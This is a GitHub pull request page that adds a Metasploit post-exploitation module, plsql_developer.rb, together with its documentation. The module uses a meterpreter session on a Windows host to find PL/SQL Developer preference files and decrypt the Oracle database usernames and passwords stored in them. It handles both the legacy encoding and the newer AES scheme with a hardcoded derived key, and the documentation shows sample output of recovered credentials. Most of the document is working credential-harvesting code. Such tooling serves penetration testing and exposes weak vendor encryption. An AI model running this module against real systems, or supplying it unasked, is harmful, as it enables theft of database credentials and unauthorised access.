Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Module for PL/SQL Developer to gather credentials #18491

Merged
merged 8 commits into from
Nov 9, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
## Vulnerable Application

This module can decrypt the histories and connection credentials of PL/SQL Developer,
and passwords are available if the user chooses to remember.

Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/).
You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/).

## Verification Steps

1. Download and install PL/SQL Developer.
2. (Optional) Change the PL/SQL Developer preference to save the passwords.
3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually.
4. Get a `meterpreter` session on a Windows host.
5. Do: `run post/windows/gather/credentials/plsql_developer`
6. The username, password, SID of connections will be printed.

## Options

**PLSQL_PATH**

- Specify the path of PL/SQL Developer

## Scenarios

```
meterpreter > run windows/gather/credentials/plsql_developer

[*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs
PL/SQL Developer Histories and Credentials
==========================================

DisplayName Username Database ConnectAs Password FilePath
----------- -------- -------- --------- -------- --------
[Connections]/Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs
[Connections]/Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs
[LogonHistory] test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory] test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory] sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory] user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs

[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt
meterpreter >
```
279 changes: 279 additions & 0 deletions modules/post/windows/gather/credentials/plsql_developer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,279 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
'Description' => %q{
This module can decrypt the histories and connection credentials of PL/SQL Developer,
and passwords are available if the user chooses to remember.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
],
'Author' => [
'Adam Caudill', # Discovery of legacy decryption algorithm
'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_ls
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
]
)
end

def decrypt_str_legacy(str)
result = ''
key = str[0..3].to_i
for i in 1..(str.length / 4 - 1) do
n = str[(i * 4)..(i * 4 + 3)].to_i
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
end
return result
end

# New AES encryption algorithm introduced since PL/SQL Developer 15.0
def decrypt_str_aes(str)
bytes = Rex::Text.decode_base64(str)

cipher = OpenSSL::Cipher.new('aes-256-cfb8')
cipher.decrypt
hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
cipher.key = hash + hash[0..11]
cipher.iv = bytes[0..7] + "\x00" * 8

return cipher.update(bytes[8..]) + cipher.final
end

def decrypt_str(str)
# Empty string
if str == ''
return ''
end

if str.match(/^(\d{4})+$/)
return decrypt_str_legacy(str) # Legacy encryption
elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
return decrypt_str_aes(str[2..]) # New AES encryption
end

# Shouldn't reach here
print_error("Unknown encryption format: #{str}")
return '[Unknown]'
end

# Parse and separate the history string
def parse_history(str)
# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
result = Hash[@keys.map { |k| [k.to_sym, ''] }]
result[:Parent] = '-2'

if str.end_with?(' AS SYSDBA')
result[:ConnectAs] = 'SYSDBA'
str = str[0..-11]
elsif str.end_with?(' AS SYSOPER')
result[:ConnectAs] = 'SYSOPER'
str = str[0..-12]
else
result[:ConnectAs] = 'Normal'
end

# Database should be the last part after '@' sign
ind = str.rindex('@')
if ind.nil?
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end

result[:Database] = str[(ind + 1)..]
str = str[0..(ind - 1)]

unless str.count('/') == 1
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end

result[:Username] = str[0..(str.index('/') - 1)]
result[:Password] = str[(str.index('/') + 1)..]

return result
end

def decrypt_pref(file_name)
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
return []
end

print_status("Decrypting #{file_name}")
result = []

logon_history_section = false
connections_section = false

# Keys that we care about
@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
# Initialize obj with empty values
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
# Folder parent objects
folders = {}

file_contents.split("\n").each do |line|
line.gsub!(/(\n|\r)/, '')

if line == '[LogonHistory]' && !(logon_history_section || connections_section)
logon_history_section = true
next
elsif line == '[Connections]' && !(logon_history_section || connections_section)
connections_section = true
next
elsif line == ''
logon_history_section = false
connections_section = false
next
end

if logon_history_section
# Contents in [LogonHistory] section are plain encrypted strings
# Calling the legacy decrypt function is intentional here
result << parse_history(decrypt_str_legacy(line))
elsif connections_section
# Contents in [Connections] section are key-value pairs
ind = line.index('=')
if ind.nil?
print_error("Invalid line: #{line}")
next
end

key = line[0..(ind - 1)]
value = line[(ind + 1)..]

if key == 'Password'
obj[:Password] = decrypt_str(value)
elsif obj.key?(key.to_sym)
obj[key.to_sym] = value
end

# Color is the last field of a connection
if key == 'Color'
if obj[:IsFolder] != '1'
result << obj
else
folders[obj[:Number]] = obj
end

# Reset obj
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
end

end
end

# Build display name (Add parent folder name to the beginning of the display name)
result.each do |item|
pitem = item
while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
pitem = folders[pitem[:Parent]]
if pitem.nil?
print_error("Invalid parent: #{item[:Parent]}")
break
end
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
end

if item[:Parent] == '-2'
item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
else
item[:DisplayName] = '[Connections]/' + item[:DisplayName]
end

# Remove fields used to build the display name
item.delete(:Parent)
item.delete(:Number)
item.delete(:IsFolder)

# Add file path to the final result
item[:FilePath] = file_name
end

return result
end

def enumerate_pref(plsql_path)
result = []
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
session.fs.dir.entries(pref_dir).each do |username|
udir = pref_dir + session.fs.file.separator + username
file_name = udir + session.fs.file.separator + 'user.prefs'

result << file_name if directory?(udir) && file?(file_name)
end

return result
end

def run
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
profiles = grab_user_profiles
pref_paths = []

profiles.each do |user_profiles|
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
if dirname.start_with?('PLSQL Developer')
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
pref_paths += enumerate_pref(search_dir)
end
end
end
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?

result = []
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }

tbl = Rex::Text::Table.new(
'Header' => 'PL/SQL Developer Histories and Credentials',
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
)

result.each do |item|
tbl << item.values
end

print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count > 0
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
print_good("Passwords stored in: #{path}")
end
end
end